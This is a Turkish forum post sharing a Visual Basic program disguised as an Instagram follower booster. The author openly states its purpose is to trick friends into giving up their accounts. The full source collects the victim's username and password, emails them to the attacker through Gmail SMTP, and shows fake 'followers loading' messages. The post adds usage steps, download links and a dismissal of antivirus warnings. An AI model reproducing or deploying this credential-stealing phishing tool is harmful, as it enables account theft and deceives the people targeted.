Doomsday is approaching
Ultra Üye
Dostlar herkese selamlar, bugün ki konumuz İnstagram Takipçi Gönderme Tuzağı uygulaması.
Yaklaşık 3 gün geçti ama bir hata veriyordu onu düzeltmeyi başardım ve şimdi de sizlere sunuyorum.
V.B ile yapıldı.
Uygulama nasıl kullanılır amacı nedir?
Programın amacı; Arkadaşları takipçi tuzağına çekmek ve hesaplarını almak veya çalmak.(bu konuyu site üzerinden paylaşmıştım ama ona artık kanmıyorlar demiştiniz).
İşte size uygulamadan bir örnek; Tasarım konusunda pek iyi değilim ama vereceğim kodlar sayesinde siz de bir tane bu programa benzer bir uygulama yapabilirsiniz.
Uygulama nasıl kullanılır?
1- İlk olarak uygulamayı açıyoruz.
2- Username ve Password kısmına; Kullanıcı adı ve Şifresini girmesi gerekmekte.
3- Takipçi sayısı seçmesi gerekmekte.
4- Takipçiler butonuna tıklayarak,(Takipçiler otomatik olarak onun hesabına geldiğini sanacak).
5- Ve uygulamamız takipçileri yolluyor.(Mesaj box da öyle yazacak, gerçek de gelmiyor).
Parantez içlerinde yazan "Gmail" ve "Gmail Sifre" yerine kendi Gmail hesabınızın mailini girin, ve şifresini girin.
Vereceğim link den Google hesabınıza izin vermelisiniz yoksa hata verir. Link:
Bağlantıları görmek için lütfen
Giriş Yap
Visual Basic:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username İncorrect")
If TextBox2.Text = "" Then
MsgBox("Password İncorrect")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Gmail", "Gmail Sifre")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Gmail")
mail.To.Add("Gmail")
mail.Subject = "Username : " & TextBox1.Text
mail.Body = "Password : " & TextBox2.Text & ","
smtpServer.Send(mail)
MsgBox("Followers Loading to Your Account")
MsgBox("Loaded")
End Sub
End Classİndir
Bağlantıları görmek için lütfen
Giriş Yap
[Dosya.tc] (411KB)İndir
Bağlantıları görmek için lütfen
Giriş Yap
[Dosya.upload] (411KB)VirusTotal
Bağlantıları görmek için lütfen
Giriş Yap
(411KB)VirüsTotal da virüs zanneden arkadaşlar,sonuç da kodlama yapıyoruz, her kodlamada illa ki 1 virüs olarak algılar, virüs kesinlikle yoktur.
Son düzenleme:
